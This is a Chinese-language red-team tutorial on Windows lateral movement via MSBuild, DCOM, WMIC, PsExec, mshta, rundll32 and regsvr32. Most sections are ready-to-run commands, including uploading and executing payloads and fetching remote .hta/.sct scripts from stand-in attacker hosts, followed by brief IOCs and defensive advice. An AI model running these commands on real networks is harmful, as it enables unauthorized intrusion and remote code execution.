Offensive Lateral Movement(下)
字数 1565 2025-08-26 22:11:45
MSBuild与DCOM横向渗透技术详解
1. MSBuild横向渗透技术
1.1 MSBuild简介
MSBuild.exe是Microsoft签名的可执行文件,随.NET Framework安装,用于编译/构建C#应用程序。攻击者可以利用它:
- 编译C#代码生成恶意二进制文件或payload
- 直接从XML文件运行payload
1.2 基本使用方法
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml
1.3 常见问题与解决方案
双跃点问题:
通过WMIC调用MSBuild构建SMB传输的XML文件时会失败,因为网络登录时凭证不会发送到远程主机。
解决方案:
- 本地托管XML文件:
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
-
通过WebDAV托管XML文件
-
使用PsExec:
psexec \\host.domain -u Domain\Tester -p Passw0rd c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\host.domain\C$\Windows\Temp\build.xml
1.4 PowerLessShell插件
Cobalt Strike提供的Aggressor Script插件,通过MSBuild执行Powershell命令而非直接运行Powershell进程:
https://github.com/Mr-Un1k0d3r/PowerLessShell
1.5 检测指标(IOC)
- MSBuild通过SMB建立出站连接
- MSBuild.exe调用
QueryNetworkOpenInformationFile操作
2. DCOM横向渗透技术
2.1 DCOM简介
组件对象模型(COM)是进程间通信协议,分布式COM(DCOM)是其网络版本。
2.2 MMC20.Application方法
使用MMC 2.0中的ExecuteShellCommand方法:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
2.3 双跃点问题与解决方案
DCOM同样面临双跃点问题,解决方法:
- 使用WebDAV
- 在无需认证的SMB共享上托管XML文件
- 尝试其他类似"ExecuteShellCommand"的方法
WebDAV示例:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")
2.4 相关IOC
- 生成两个运行mmc.exe的进程
- WebDAV写入临时文件:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV - MSBuild写入临时文件:
C:\Users[USER]\AppData\Local\Temp[RANDOM]\(会自动清理)
3. 远程文件上传技术
3.1 基本方法
通过SMB上传二进制文件到目标系统的C$共享,然后通过WMIC或DCOM执行:
copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe"
3.2 Cobalt Strike注意事项
beacon需要通过命令手动完成"签入":
link target.domain
4. 其他代码执行方法
4.1 Mshta
执行.hta文件(Microsoft HTML应用程序):
mshta.exe https://malicious.domain/runme.hta
4.2 Rundll32
执行DLL文件,可通过UNC WebDAV路径或JavaScript指定:
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
变体:
- 使用url.dll运行.hta或.url文件:
rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
- 使用ieframe.dll或shdocvw.dll运行.url文件
.url文件示例:
[InternetShortcut]
URL=file:///c:\windows\system32\cmd.exe
4.3 Regsvr32
注册服务器,可接受URL参数运行.sct文件:
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
5. 防御建议
- 监控MSBuild.exe的异常网络连接
- 检查
QueryNetworkOpenInformationFile操作 - 监控mmc.exe的异常进程
- 检查WebDAV临时目录的异常文件
- 限制DCOM的远程访问权限
- 监控异常的文件上传行为
- 对mshta、rundll32和regsvr32等二进制文件的使用进行审计
6. 参考资源
- MITER ATT&CK知识库:https://attack.mitre.org/
- Casey Smith关于regsvr32的深度介绍文章
- PowerLessShell项目:https://github.com/Mr-Un1k0d3r/PowerLessShell